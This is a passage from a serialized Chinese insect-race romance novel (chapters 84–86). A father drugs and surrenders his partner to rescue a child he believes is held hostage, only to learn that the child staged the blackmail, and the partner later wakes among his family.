诺伊斯似乎有些出神,紫眸深处映着遥远天际的光带,不知在想些什么。感受到雪因的目光他转过头,脸上的怔忪瞬间融化,自然而然地勾起一抹张扬的笑,所有沉郁仿佛在这一刻也被纯粹的喜悦冲散。 此刻他们与街上所有虫一样,再没有被困过去的仇怨,只是为战神凯旋、为同胞生还由衷欢庆的普通虫族。 “走!”诺伊斯扬声,意气风发,“我们也去庆祝!今天全城都是狂欢节!” 雪因原本还收敛几分的笑,也因为诺伊斯的放下,蓝眸瞬间变得明亮,扬起大大的笑容。 下一秒,只觉得天旋地转。 诺伊斯不由分说地将他一把扛上了肩头,雪因惊呼一声,下意识地抓紧诺伊斯的衣服稳住自己。 诺伊斯一手牢牢扶住肩上的他,一手握拳高举,就这样扛着他大步流星地汇入了涌动欢庆的虫潮! “莱昂图特元帅——永耀!!” “哈哈哈——”雪因起初还有些羞赧,但很快便被这毫无保留的狂热氛围感染,在诺伊斯稳健的肩头随着他的步伐一晃一晃被带着转圈圈,忍不住也畅快笑出声来。 释放出自己像小溪,又像大海的精神力,破开星球屏障向上攀升,汇入归途星河之中。 ——请一定要,全都平安回家啊。 仿佛感应到了这份独特珍贵的心意,天际星河光芒似乎微微一顿,随即变得雀跃激动起来,无数道精神波动传来激动而欢欣的回应。以雪因的加入为引,越来越多原本只是旁观或默默祈祷的雄虫,也感受到呼唤与共鸣。纷纷仰起头,不再拘束于性别或阶级的隐形壁垒,尝试着释放出自己或强或弱的精神力。 点点辉光从各个星球的各个角落升起,不似军雌们汇聚的那般排山倒海的力量感,却更加绵密、温暖,如无数闪烁的萤火,飞向银河,缓缓修复着另一方疲惫已久的精神力,为其增添温柔守护之意。 此刻,没有性别之分,没有等级之差,只有一个共同而朴素的祈愿: 虫族永耀,战士,平安归乡。 —— “诺伊斯大人,有从帝星寄给你的信。” 庆典结束一周后,说实话生活和一开始没什么不同。但诺伊斯和雪因都知道墨尔庇斯回来意味着什么,有些东西已经彻底改变,再也回不去了。 之前诺伊斯得以将雪因带离帝星,依仗的是墨尔庇斯远赴星渊、无暇他顾的空窗期,以及帝星危机四伏,无人能庇护王爵的理由。 如今,墨尔庇斯携威名与力量归来,这个理由便显得可笑。墨尔庇斯强悍到足以在帝星翻云覆雨,为他的雄主撑起最坚固的保护伞。 那么,雪因的逃亡也就失去了继续的必要。 雪因也有些焦虑,或许是一切都是在将落未落之时更为折磨。为了不让对方担忧,两虫默契地维持着表面的平静,努力扮演着一切如常。 只是深夜诺伊斯总能感受到身侧辗转,他所能做只有在黑暗中伸出手,将雪因紧紧拥入怀中。 一切在诺伊斯收到这封来自帝星、标记着利刃藤蔓图腾的信件时,他在心底诡异地松了一口气。 该来的总会来,或许是终结,或许是宣判。 也好。 他想最坏的结果,不过是将雪因送回帝星…不,雪因本就属于那里。 尊贵的王爵殿下,本就不需要陪他在这种偏远星球度过余生。他心口刺痛,却不得不承认。深吸一口气,竭力稳住微微发颤的手指,拿过没有署名、只印着冰冷图腾的信。 回到书房,仔细关好门窗,确认隔音精神屏障完全展开,这才打开灯,在昏暗的光线下取出信。 脑中预演过无数种信的内容:严厉的指控、直接的威胁、勒令归还的通牒…他冷静地分析自己还有什么可以被威胁——没有。 他一无所有,只有雪因。 雪因的确是时候该回去了,但绝不能是被迫交还。 他得把雪因还给雪因雌父,就像当初把他带出来承诺的那样。绝不可能把雪因交给任何虫,包括墨尔庇斯。在这之前,他必须争取时间,为雪因铺好后路,至少… 让雪因自己选。 想着想着,他奇异地平静下来,颤抖的手也稳住了。 …… 拆开信封。 …… 抽出里面的东西。 …… 不是信纸。 …… 只有一张照片。 诺伊斯的瞳孔在看清画面的瞬间骤然收缩,耳边嗡的一声巨响,所有声音都被抽离。心脏疯狂撞击着胸腔,剧烈的麻痹感从心口炸开,瞬间窜上眼眶,根本容不下任何反应。 是一只雄虫。 雪白的头发。紫色的眼眸。 ——像你也像我,白发、紫色的眼睛。 雄虫跌坐在泥泞肮脏的水洼里,衣物破碎不堪,浑身上下布满深深浅浅伤痕。紫眸空洞睁着,倒映出围困在他周围高大雌虫们狰狞扭曲的身影。 ——他一定是全星际最棒、最厉害的虫崽!我要把所有的、最好的东西都给他!让他成为帝国最幸福的小虫崽! 照片的边缘溅着几滴干涸发暗的血珠。露出虚弱不堪的、让诺伊斯根本不可能忘记的、曾经在他腹中与他血脉相连、日夜相伴、给予他慰藉的精神力。 第84章 夜色无边 被愤怒和悲痛尘封的、不愿回忆的种种细节,忽的冲破血光变得清晰。 他想起了蛋‘死亡’那天,莫名昏沉,他不以为然。撞见兰斯从他房间的方向走出来,对方怀中抱着一个盒子,他的目光莫名在那盒子上停留了许久。随后弥漫开不自然的消毒水气味,兰斯勾着嘴角似乎对他说着什么,一张一合之间,他记忆却越来越模糊,直到失去这段记忆。 记忆再次连接在斯卡尔站在他面前,身上是他的血,脚下是血泊与碎壳… 不对…当时蛋里流出的,是透明的粘液,非成型的虫崽组织。他当时被愤怒和绝望冲昏了头脑,根本没有办法集中精神仔细分辨,或者说,拒绝去分辨。 拒绝去看那一地碎裂的蛋。但那根本不是他的虫蛋,他的虫崽,在更早的时候就被调包了。 兰斯……带走他的虫蛋想做什么? 疑问像一把钥匙,打开了更多的记忆。 ‘蛋’死后他心神不定,想逃避一切,离开帝星暂时喘口气。 兰斯却拦住他,墨尔庇斯出征当天,以‘帝星不安全’为由极力怂恿他带走雪因。甚至在明知雪因为虫,作为他挚友的的情况下,反常地不断暗示‘雪因只是在玩弄他’,刺激他带雪因离开。 兰斯的目的非常明确:雪因必须离开帝星。哪怕没有他诺伊斯,他想兰斯也会用别的办法。 为什么?兰斯没有背叛雪因的理由。那么,唯一的解释是:兰斯判断雪因留在帝星有危险。 如果雪因留在帝星,等墨尔庇斯走后,他的亲虫或许真能凭借血缘定位找到他、救他出来。 但之后呢?王权更迭混乱不已,作为正统王爵,且极具价值的雄虫雪因,只会成为各方势力争夺、控制乃至联姻的最佳棋子。雪因性格看似温柔却宁为玉碎不为瓦全,绝不会妥协。那么最终结局只可能是玉石俱焚。 所以由他这个‘深爱雪因的雌虫’来带走雪因,反而成了最安全的选择。雪因出于对他的感情和愧疚会配合,而有了雪因的配合,在以雪因不弱的空间跳跃能力,他们逃跑存活率大大提升。 况且就算真的知道雪因‘私奔’,帝星也不敢大张旗鼓地追捕,等于公开承认王爵被一个低等级雌虫“拐跑”了,是帝星乃至整个虫族高层的丑闻。 帝星内部可能也在运作,引导不知情的虫——雄虫协会。从一开始只是怀疑,到后来再也没有大张旗鼓,以至于放弃。雄虫协会在被诱导判断雪因绝对是在帝星。 还有墨尔庇斯… 兰斯‘看’到了墨尔庇斯能活着回来。 试想,若墨尔庇斯自星渊凯旋,迎接他的不是荣耀,而是发现自己的雄主在他离去时间里,被囚禁、被作为政治筹码强迫成婚… 他绝不会当做无事发生,真的会不顾一切血洗帝星。 一位为族群几乎付出一切、被奉为守护神的顶级雌虫,最终却被自己誓死保卫的体系背叛,连最珍视的雄主都无法保全。 之后被视为虫族叛徒,墨尔庇斯不可能杀了所有虫,但可怕的是一但这位顶级雌虫与帝星站在对立面。到时‘帝国负我’会成为一面极具号召力的旗帜,无数曾受他庇护、或对现状不满的势力,引发更多不明真相的支持者追随,打着‘匡扶正义’的旗号,矛盾越来越大,虫族数亿万年来用鲜血维系的稳定,自内分裂瓦解也不是不可能。 因私怨起始的动荡足以燎原,焚尽整个帝国的根基。是兰斯,或者说背后布局者们,绝对无法承受的代价。 因此,“私奔”成了所有糟糕选项中,唯一一条能同时达成多重目的的路径。 保住了雪因的性命与相对的自由,让他能在爱虫的陪伴下,远离阴谋,只当是一段漫长的旅行散心时光。 也能将墨尔庇斯归来的怒火,从‘血洗帝星’的绝路,引向‘追回私奔雄主’的范畴。 但兰斯凭什么确信,在墨尔庇斯归来后,他诺伊斯会甘心把雪因送回去?仅凭兰斯相信自己为虫吗?不可能,兰斯从未信任过他。 是虫崽。 他们带走了虫崽,并将他牢牢控制在帝星。这才是万无一失的‘保险’。只要虫崽在,作为雄父的雪因,无论天涯海角,最终都一定会不顾一切地回来。甚至…心甘情愿留在帝星,接受任何安排。 但兰斯没有将这封信寄给雪因,不忍伤害雪因,于是信到了他手中。他们要逼他诺伊斯来做这个恶虫,由他亲手斩断这段关系,把雪因完好无损地送回去。 这样他和虫崽都不会有事,雪因也能回到‘正轨’。 如果他不做,等雪因自己发现真相冲回帝星,那虫崽就将成为一根永远扎在雪因血肉里的线,被用来不断操控他尊贵的雄父。 诺伊斯感到一阵彻骨的冰凉,从心脏流向四肢百骸。 这一切,是什么时候开始计划的? 从他怀蛋开始?不,或许更早。沃特那次将他重伤,让他生育能力废了,背后是有多少势力在暗中推动? 再往前,他与雪因的初遇…和更早之前他进入帝星,原本不会走的路…冥冥之中又有着一股力量牵着他看到雪因。 让雪因在他心中埋下种子。 也许,他从来就不是唯一的选择。 他们设计了无数种方案,让不同的雌虫接近雪因。而他是最先成功的那一个。于是越来越多的目光才放到他身上。 他们无法操控墨尔庇斯,也无法强迫雪因。同时他们不愿真正伤害雪因,又必须不惜一切代价维护帝国的稳定架构。 于是布下密不透风的网,搭建好舞台,只等各方演员就位。 一位能让雪因心甘情愿打开心扉、甚至与他孕育子嗣的雌虫。 无论这位雌虫是谁,是什么身份,只要他符合‘被雪因所选’这个条件,就会自动触发后续一连串预设好的连锁反应。他注定会感受到‘危机’,会生出‘带他逃离’的勇气,自然而然地,走上这条为他预设好的路——成为带雪因逃离风暴眼的‘骑士’,也最终成为将雪因完好无损送回王座的‘阶梯’。最后一步,才是整个布局的终极目的:通过控制雪因,操控濒临失控的墨尔庇斯。 而虫崽,只是确保这一切必然发生的锚点。 诺伊斯闭上眼,凄凉的笑起来。棋盘早已摆好,棋手隐于幕后,他这枚自以为挣脱了命运的棋子,兜兜转转,却发现自己的每一步都落在别人早已算定的棋格上。 ‘正确’的路在脚下,清晰无比,为了他唯一的虫崽… 他别无选择! —— 夕阳西沉,将弱海的海面染成一片暖金色。雪因没有像往常一样去图书馆,只是在海边走了走,捡了几枚纹路特别的贝壳带回来。 “阿南克呢?”雪因望向门口,只有诺伊斯独自站在那里。 “奈孙先生那边说,今晚要带他去做野外训练。”诺伊斯的声音比平时低沉,手里端着一杯水,晃了晃,递过来,“先喝点水。” 雪因不疑有他,接过干脆喝下,温水入喉,带来一阵暖意。正想往屋里走,手腕被诺伊斯握住,对方掌心冰冷潮湿。 “嗯?”雪因愣了一瞬,回握过去,试图用自己的体温焐热他,释放出安抚性的信息素。 但诺伊斯却很反常,瞬间避开了雪因的眼眸,指尖微微发颤。“……我们去后院坐坐吧。” “……好。” 后院草地上,雪因习惯性地靠向诺伊斯,诺伊斯也伸手将他揽入怀中。夕阳的余晖洒在他们身上,拉出长长的影子,像十几年来无数次一样,自然而然互相依靠,一同看向远方渐落的夕阳。 “雪因,”诺伊斯的声音干涩,“有件事我骗了你很久。当初在学院,我不是无意闯入的。我知道你会出现在那里,我…我刻意接近你,抢了别虫的位置。” “我知道啊。”雪因却说。 诺伊斯一愣。 雪因将脸在他肩头蹭了蹭,“怎么突然想起坦白这个?一直瞒着不好吗?” 诺伊斯浑身一僵,随即扯出一个比哭还难看的笑:“……你果然知道。怪不得那时候,你总喜欢逗我。” “因为你的反应很好玩,”说罢,雪因试图转过头去看他的表情,总觉得诺伊斯今天怪怪的。“诺伊斯,你今天到底怎么…” 诺伊斯没让他如愿,手臂收紧,干脆将雪因拉过来禁锢在怀中。 他继续说着,“一开始,我只想成为你的雌侍。这样我就能过得很好,我的虫崽也会有更好的未来,不用像我一样低贱,时时刻刻需要算计,不择手段去抢别人的雄虫。” “不要那么说诺伊斯,你才不低贱。”雪因打断他,声音温柔,“你只是为了追求更好的生活,没有错。” “不,”诺伊斯摇头,声音痛苦,“我后悔了。” 雪因的身体微微僵住。 诺伊斯将脸埋进雪因柔软的发间,重复道,“我后悔了。” “诺伊斯……”雪因的心揪紧了,他努力转过身,想捧住诺伊斯的脸,却被更用力地抱住。 “都怪你,”诺伊斯的声音带着一丝痛苦,指控着,“你为什么要接受我?为什么要对我这么好?为什么要让我觉得我们真的可以有未来?是你毁了一切!如果你当初没有让我做你雌君,如果你像对待其他雌虫一样对待我,我就不会…我的虫崽就不会…是你毁了一切。” “对不起。”雪因的声音低了下去,蓝眸中蒙上一层水雾,但很快又被他强压下去,“我、我听说雄虫的血能治愈一切,可能我之前还小,等我满百岁,到时候血的效力最好,说不定就能治愈你,我们会有虫崽。” “我、我比你大,本该是你哥哥该照顾你。我会保护好你的,你别害怕。” 雪因握住诺伊斯颤抖的手,感到头顶传来温热的湿意,一股不祥的预感攫住了雪因的心脏,试图理清思路:“墨尔庇斯回来了,这里不安全了,对吗?别怕,我想办法联系雌父,我们先回去。回去以后我会装得很乖,他不会对我怎么样,我也会求他不要伤害你。可能…可能要委屈你一段时间,但我会尽快拿到实权,等时机成熟,再把你娶…” 雪因瞳孔一怔,晕眩的感觉从四肢百骸传来,视野开始晃动、模糊。 “你…”他眨了眨眼,视野越发模糊。几乎是瞬间就接受了这个事实,话语一转,“我要是不在,你去维斯特冕名下的星系,我之前离开的时候划了几颗到你名下,我给你的那枚徽章…他们会认。” 声音越来越弱,头无力地垂向诺伊斯的肩膀。 “对不起……对不起……”诺伊斯紧紧抱着雪因,眼泪大颗大颗砸在雪因的头发和衣襟上,泣不成声。 “没关系……”雪因用尽最后力气弯起嘴角,手指勾了下诺伊斯的小指,像过去无数次安抚他时那样,“如果这是你想要的。” “对不起……我真的不想这样……”诺伊斯的声音碎得不成调。 “我知道。”雪因视线愈发模糊,“我也爱你啊…所以,别道歉。是我没能给你更好的选择。”药效卷走最后一丝清明,身子一软,彻底落进诺伊斯颤抖的怀里。 自始至终没有质问,没有怨怼,连一丝惊愕和失望都没有。甚至在他意识彻底沉入黑暗前,唇角还留着温柔得令人心碎的弧度。 诺伊斯再也绷不住,抱住他失声痛哭,反复呢喃着破碎的道歉。 “对不起…对不起…可是我没办法了…”诺伊斯崩溃地哭喊,滚烫的眼泪浸湿雪因的额发,语无伦次地颠簸着,“我们有虫崽了,雪因…他还活着,他很像你,眼睛像我…我得救他,我必须救他…对不起…” 他颠三倒四地重复着道歉和解释。 良久,落日最后一丝光线消失,诺伊斯用袖子重重抹了把脸,将雪因稳稳抱起。精神力在手中燃起火焰。 他没有回头。手臂向后一挥,火焰落入他们居住了近二十年的小屋。 烈焰腾起,迅速吞噬了看似稳固的屋子,吞噬了墙上所有的画,吞噬了亲手创造的点点滴滴,吞噬了温暖的回忆。 冲天的火光映照着诺伊斯哀恸的脸,和他怀中安然沉睡的雄虫。 夜色无边。 第85章 诀别 路程不远。 可惜路程不远。 可惜他们之间的路,也只有这么远了。 照片背面潦草地写着一行地址与时间。他抱着雪因,朝那个方向走去。脚步沉重。 天空毫无征兆地暗了下来,又被无数光点亮。令人窒息的精神力从天穹压下,笼罩整个星球。 诺伊斯抬起头,只看到小型军舰发出的光点游移、扩展,从外至内,一圈圈构建起坚不可摧的屏障。随风轻摇的野草像是被固定住,停滞不动。将滴未滴的露水落到一半悬停于空中。 诺伊斯有些想笑。 已经握住他最重要的软肋,还需要摆出这么大阵仗吗?也太看得起他了,他可从始至终是那个弱小、无能、卑鄙的虫。 他下意识地将怀里的雪因搂紧。 雪因必须交给他们。但他要亲眼见到虫崽,至少确定他是活的。为了逼他乖乖就范,对方一定会带来虫崽作为诚意。 把雪因交给他们之后,他得立刻逃跑。逃得越远越好,绝不能让自己也成为雪因另一个软肋。 还有这张照片…他指节捏得发白。是控诉帝星虐待雄虫幼崽的证据。等他逃出去,他要让这丑闻曝光,利用舆论逼藏在暗处的虫不敢明面上对虫崽下手。 所有虫的目标都是将雪因完好地送还墨尔庇斯,以此邀功转移墨尔庇斯对帝星的敌意。 那么这个功劳,为什么不能由他来取? 亲手将雪因送回,向墨尔庇斯、向帝国示好,献上这份投名状…远比将雪因交给用虫崽照片威胁他、藏在暗处的阴谋家要安全得多。 时间太短,他没办法想出更好的办法。 他是爱雪因,但这份爱无法支撑起毫无保留的信任。身份地位差距太大了,即使他们这次输了,雪因不过是回到金丝笼里,将来或许还会有别的雌君,别的虫崽。 最终承受代价的,只会是他和虫崽。 他诺伊斯赌不起。他只有这一个虫崽,流着他的血,是他存在意义的延续。他的爱,根本没有容错率可言。 最理想的情况,即使他们救回了虫崽,之后呢?只要虫崽存在,他就永远是雪因的软肋,被用来不断操控雪因。 但…他有办法,他能让虫崽自由,也让雪因…他低头凝视着雪因,心脏像是被狠狠揉碎,疼得他眼眶发热,眼泪差点要掉下来。 只要他成功,所有人都会得偿所愿。 对不起啊,雪因。 但这会是最好的办法。 原谅我。 最后一次自作主张。 —— 于是他抱着雪因,落在那艘无比强势似一座大山一般的巨型星舰面前。 数不清的军雌们目光落在他们身上,将诺伊斯团团围住,并未立刻动作。 诺伊斯站在中央,显眼的红发随风自由飘扬,面对高等雌虫的威压,再也不像过去那样感到恐惧。 墨尔庇斯站在前方。 他似是盛装出席。胸前挂满华丽勋章,深邃锐利的眼眸紧紧黏在雪因身上,却迟迟未动。似极力克制的汹涌。 诺伊斯心中稍定,目光急速扫过星舰群,寻找着他最在乎的那一艘。 找到了。 在主舰后,悄然蛰伏着另一艘星舰。通体是暗沉得近乎吞噬光线的紫黑色,线条诡谲流畅,又像暗中蔓延、伺机而动的毒藤。利刃缠绕藤蔓的徽记暗晦刻在上方,似深不见底。 诺伊斯伪装的镇定几乎崩裂。他死死盯着那艘星舰紧闭的舱门,目光几乎要在上面烧出两个洞来。 他的虫崽就在那里。 他要记住! 记住这艘船!记住这个徽记!总有一天,要为他的虫崽报仇! 寒风扬起他额前散落的发丝,也吹动墨尔庇斯肩章上鲜红的流苏。三方对峙,一方是煌煌天威,一方是阴诡算计,而他抱着他沉睡的月亮,站在中间。 紫色星舰的舱门滑开,先出来的是是四位身形魁梧的雌虫,胸口位置显着利刃缠绕毒藤的徽记。 就是这几只虫欺辱他的虫崽!把他弱小可怜的虫崽按在泥水里!烧成灰他也认得! 滔天的恨意让诺伊斯几乎维持不住表情,牙关紧咬,目光死死锁在那四张脸上。 但四只散发着S级以上威压的雌虫并未上前,分立舱门两侧,鞠躬迎接真正的主虫,诺伊斯一怔。 不祥的预感从他心中蔓延,他几乎要下意识闭眼,却不受控制死死望向舱门。 主虫缓步走出,雪色长袍晃动露出精致的靴子,脚步不疾不徐地落下。与雪因如出一辙的雪白长发散落,雪白柔软的围脖半掩着脸。 微微歪着头,慵懒随意,嘴角勾起似笑非笑的弧度,紫罗兰色的眼眸微扬着,带着玩味。 …… 诺伊斯的大脑一片轰鸣,所有的色彩瞬间褪去。世界仿佛被按下了静止键,照片上那双空洞绝望的紫眸,与眼前戏谑的紫眸重合。 不……不可能的吧…… 灵魂深处发出尖叫,疯狂呐喊他拒绝接受的真相。 白发……紫眸…… 我们的虫崽…… 他活下来了……他很像你……眼睛像我… 我没办法,我得救他,所以对不起。 他曾誓死要拯救的虫崽…他想象中弱小、无辜、正在泥泞中哭泣等待救援的虫崽… 不是受害者。 是寄来照片,将自己惨状作为筹码,精准地捅进他软肋逼他交出亲生雄父的幕后黑手。 诺伊斯呼吸一窒,下意识将口袋中的照片烧掉。 不能留下证据,无论如何这是他的虫崽。 希利安步伐悠哉,满意的看着他的动作,轻巧地停在墨尔庇斯身侧,抬起手,纤细的手指径直指向诺伊斯,清脆的声音:“拿下他!” 命令落下的瞬间,诺伊斯怀中一空。 他甚至没看清发生了什么,雪因已经安稳地落在墨尔庇斯臂弯中。墨尔庇斯从始至终没有看向他,周遭一切对他来说都无关紧要。 阿南克不止何时出现在墨尔庇斯身边。少年俊美的脸上没什么表情,目光掠过诺伊斯闪过一丝复杂,抿紧了唇,最终还是没有开口。 计划……逃跑…不能拖累雪因。 诺伊斯按原定设想猛地转身,将速度催发到极致,朝着包围圈的薄弱处冲去。 他刚站起身,眼角的余光瞥见了让他血液彻底冻结的一幕—— 希利安手中多了一把致命的能量枪。 …… 诺伊斯眼里只剩下那个持枪的少年,和他记忆中那个蜷缩在泥泞中的紫眸幻影重叠、又撕裂。日思夜想的骨肉近在眼前,带来的却不是救赎,而是审判。 挣扎还有什么意义? 如果是你想要的…… 力气骤然抽离,诺伊斯双膝一软,重重跪倒在地面上。 他闭上了眼睛,长长的睫毛剧烈颤抖着,脸上浮现出解脱。 我的虫崽…如果这是你想要的… 我愿意。 …… …… …… 没有枪声。 死寂。 令人心慌的死寂。 他颤抖着,极缓极缓地掀开眼帘。 视线模糊又清晰—— 枪口没有指向他。 幽蓝的光点,稳稳地抵在少年自己白皙精致的太阳穴上。希利安微微偏着头。 “跑呀,” 少年声音肆意,“你可以试试,是你的速度快,还是我让你的血脉永远消失的速度快。” 诺伊斯所有的力气、算计与求生欲,瞬间被抽得干干净净。 “不——!!!” 诺伊斯嘶吼一声,猛地喷出一大口鲜血,视野瞬间被红雾笼罩。他再也无法思考,更顾不得什么计划尊严,不顾一切地朝希利安的方向爬去,膝盖在粗砺的地面上摩擦出血痕,“求你!住手!我投降!我什么都听你的!别伤害你自己!求求你…你是我的虫崽啊…是我的命啊!!!” 诺伊斯目眦欲裂,泪水混着血污滚落,望向希利安的眼神里充满哀求。 那是他的骨血,他存在的意义,他不能失去希利安……绝不能! 少年身侧高大雌虫迅速上前将诺伊斯死死按倒在地。脸颊紧贴着尘土摩擦,他却感受不到多少痛意,满心绝望。 希利安居高临下地看着他,看着这个血脉相连的雌父像一团烂泥般崩溃、哀嚎、为了他一个虚假的自戕威胁而肝肠寸断。 他优雅地挥了挥手,示意压制诺伊斯的雌虫稍缓力道,缓步上前,在彻底失去抵抗意志的诺伊斯面前半跪下来。 两双相似的眼眸,对视。 希利安眼眸闪过一丝复杂,笑容收敛了些。 不再看诺伊斯,转而向墨尔庇斯俯身行礼,声音平稳:“莱昂图特元帅,我想,一个活着的、完全在我们掌控之中的,远比一具冰冷的尸体更有价值,不是么?” 墨尔庇斯没有看向他,抱着雪因转身就走。希利安却知道墨尔庇斯是默认了他的安排,嘴角勾起笑。 阿南克跟随在墨尔庇斯身后离开,回眸看向这个他同雄异雌的兄弟,又看了一眼被压倒在地毫无生机的诺伊斯,眼神复杂地留下一句:“留他一命。” 希利安面对阿南克时,脸上戏谑略微沉淀了些,“嗯。” 雌虫们纷纷离开,连同墨尔庇斯与雪因所在的星舰,化作天际遥远的光点。希利安随意挥了挥手,压制着诺伊斯的几名雌虫彻底松开手,退到远处警戒。 精神力屏障封锁四周,只剩二虫。 尘埃落定,风声呜咽。 诺伊斯跪在原地,像一尊被抽走了灵魂的泥塑。嘴角还挂着未干的血迹,缓缓抬起头,望向几步之外那个雪发紫眸、美丽却冰冷的少年。 “为…什么?” 希利安踱步走近,停在诺伊斯面前。微微俯身,月光般的长发垂落于诺伊斯面前,又好似触不可及。 “为什么?” 他重复,语气轻巧,“我只是做了和你一模一样的选择而已。” 诺伊斯浑身一颤。 “你想把我雄父当做礼物,献给归来的元帅,换取你的虫崽平安。” “而我,不过是把这份‘礼物’,亲手包装得更好,送得更及时罢了。毕竟,一个回到王座、受帝国承认与庇护的王爵雄父,总比一个跟着低等雌侍在外流浪、朝不保夕的雄父,要有用得多,不是吗?” “他……他是你雄父啊!” 诺伊斯的声音破碎,泣血般的悲切,“你怎么能……怎么能把他当做……礼物?” “雄父?” 希利安轻笑一声,“你知道吗?我小时候,想了很久很久…我想不明白,如果你们所谓的私奔,代表的是爱情、是自由、是‘正确’,那为什么最后被留下、被牺牲、去承担‘不正确’后果的……会是我?” “我恨过你们。” “恨你们拥有彼此,恨你们选择逃跑,唯独没有选择带走我。” “对不起……对不起……” 诺伊斯徒劳地重复。 “嘘。” 希利安竖起一根手指,抵在自己唇边。重新拉开了距离,恢复居高临下的姿态。 “但很快,我就不恨了。” “我庆幸你们没有带走我。” “看看你现在。看看你拼命想守护的东西——你的爱情,你的自由,你的虫崽——是多么脆弱,多么容易就被利用,被当做筹码。如果我跟着你们,我会变成什么样子?…另一个你?需要依靠别人牺牲、或者机关算尽才能活下去的可怜虫?” “我不会杀你。我会让你活着,甚至给你一定程度的自由。但你这辈子,永远、永远不能再踏入帝星一步。你的活动范围,必须在我视线可及、掌控可及的范围内。如果你试图越界……” 希利安微微一笑。 “既然一开始没有将我带走,那么现在,也别碍着我的路啊~”他笑起来,眉眼弯弯紫眸泛起涟漪,和雪因如出一辙的模样,却更显恣意,撒娇道:“雌父~” …… …… 沙尘漫卷,掠过诺伊斯彻底失去了所有光彩的脸。他像是被这两字彻底抽空了支撑的力气。 闭上了眼睛。 长长的睫毛在沾满尘土。许久,他空洞地点了一下头—— 作者有话说:小诺下线,感谢陪伴。T T 第86章 正确的错位 微风卷过一阵清甜的薄荷味,轻柔地拂过雪因的脸颊。 他眼睫颤动了几下,缓缓睁开。视野从模糊逐渐凝聚,对上一双盛满关切的紫色眼眸。 雪因的心跳骤然漏了一拍,随即仓皇地移开了视线。 “哟,” 上方传来雪因雄父洛伦兹带着慵懒笑意的声音,“我们家的小虫崽这是怎么回事?一睁眼看到雄父,就跟见了天敌似的?” 洛伦兹伸出手指,轻轻点了点雪因的额头,“嗯?离家十几年,就把雄父忘到脑后了?小没良心的。” 看着自家雄子这副异常模样,洛伦兹眉头不由得皱起,露出些许担忧。 雪因的雌父阿斯特拉在一旁,将温暖宽厚的手掌按在了洛伦兹的肩上,对自家雄主示意他稍安勿躁,然后将目光转向雪因。 “我漂亮的小雄崽,” 阿斯特拉的声音低沉平稳,与雪因相似的蓝眸带着能抚平躁动的暖意,“告诉雌父,怎么了?哪里不舒服吗?还是做了噩梦?” 雪因试图平复胸腔里莫名翻涌的、混杂着心悸与轻微抗拒的陌生情绪。记忆有些混乱,带着些许迟滞的钝痛,但还是一点点回笼。 他再次鼓起勇气,慢慢转过头,先看向给了他安全感的雌父,声音带着刚醒的微哑和依赖:“雌父……” 然后他的目光,尝试着转向洛伦兹,视线再次触及那双深邃的紫眸时,说不清道不明的难受又一次攥住了他。 他飞快地垂下眼睫,声音低了下去,带着点不易察觉的颤抖:“雄、雄父。” “嗯?” 洛伦兹的眉头微微蹙起,他不再玩笑,伸出手轻轻握住雪因微凉的手,温和的精神力探入,仔细检查自家雄子的身体状况;另一只手则覆上雪因的额头,掌心温暖。 “没有发热…精神海似乎有些微弱的波动,但总体平稳。” 他低声自语,紫眸中担忧更甚,“雪因告诉雄父,到底发生了什么?为什么不敢看我?哪里难受?” “不、不知道……” 雪因的眼睫颤抖得厉害,源自潜意识深处的排斥和细微的恐惧,连他自己也无法理解。 “就是…看到雄父的眼睛…心里莫名觉得…有点难受,有点…喘不过气。” 洛伦兹和阿斯特拉对视一眼,在对方眼中看到了疑惑与凝重。 不像是普通的不适或情绪问题。 “雪因。”一道带着笑意的声音插了进来,打破略显凝滞的气氛。 兰斯走近,弯下腰,凑到雪因面前,仔细地端详着他的脸色和眼神。 十八年对于虫族漫长的生命来说实在不算长,短到面前的兰斯看起来几乎和雪因记忆中离开时一模一样。 兰斯的目光快速地扫过雪因全身——虽然看起来有些迷茫和莫名的情绪波动,但身上并无外伤,眼神清亮,望向自己时也没有敌意。 兰斯心中暗自松了口气,看来最坏的情况并未发生。 他直起身,看向旁边两位神色担忧的长辈,语气轻松恭敬地开口:“洛伦兹皇太子,蒙特金德公爵,别担心。让我先陪雪因说说话吧,看看他是不是刚醒来还有点迷糊。我雌父和医疗官应该就在外面,估计快把详细的检查报告送来了。” 阿斯特拉沉吟了一下,点了点头。他了解兰斯,也相信这位雪因发小雄虫对雪因的关心。 洛伦兹虽然依旧眉头不展,紫眸中写满了不放心,但在伴侣的目光示意下,还是松开了握着雪因的手。 “好吧,” 洛伦兹最后深深看了雪因一眼,“兰斯,好好陪着他。我们出去看看。” 他顿了顿,补充道,“有任何情况,立刻叫我们。” “放心吧,伯父。” 兰斯微笑着应承。 雪因的视线追随着雄父的身影消失在门后,他才松懈下来。 “怎么了?” 兰斯挥开长袍下摆,姿态随意优雅地在床边的扶手椅上坐下。 确认房间内只剩下彼此信赖的自己人,雪因整个人都松弛了下来。 用手肘努力支撑着虚软的身体,慢慢坐起。简单的动作似乎都耗费他不少气力,本就精致的脸庞更添了几分易碎的苍白。 唇色淡得像初春的樱花,失去了往常健康的红润,只余一抹淡淡的、近乎透明的粉,反而衬得他眉眼愈发清晰分明,蓝眸如同被水洗过的晴空,带着刚醒来的朦胧水汽。 “不知道…” 他轻声开口,声音带着一丝困惑,“我就是…一看到雄父的眼睛,心里就揪着,闷闷的,有点透不过气,有点难过。” 他无意识地抬手,指尖轻轻按在自己心口的位置,眉头微蹙。 “仔细说说?” 兰斯的声音放得缓,带着鼓励探究的意味,“是什么样的感觉?有没有伴随具体的画面或者记忆碎片?” 雪因努力回想,纤长的睫毛低垂,在眼下投出一小片不安颤动的阴影。他认真地思索着,手指不自觉地蜷缩起来,抓住了身下柔软的被单。但记忆没有异常,甚至没什么相关内容。 “想不起来……” 他摇了摇头。 兰斯静静看了他片刻,没有继续逼迫。“先不说这个。倒是你,小睡美人总算醒了…和我说说看,在帝星之外,都发生了什么?” “这些年过得怎么样?有没有遇到什么…特别的事。” “特别的事?”雪因眨了眨眼,蓝眸倏然睁大,“对了!我的虫崽!阿南克!” 几乎是雪因叫出这个名字下一秒,门被推开。 阿南克的身影快速闪了进来,几步小跑到床边,“我在这,雄父。” 他先飞快地确认了雪因安然无恙,然后才将目光转向一旁的兰斯,声音平稳,却明明白白写着告状二字,“他们非说房间虫太多会影响您精神力恢复,硬是不让我进来等。” 小少年抿了抿唇,那点委屈几乎要从眉眼里溢出来。 “怎么会,” 雪因立刻伸出手,阿南克几乎是条件反射般低下头,将自己的脑袋凑到那微凉的掌心下。 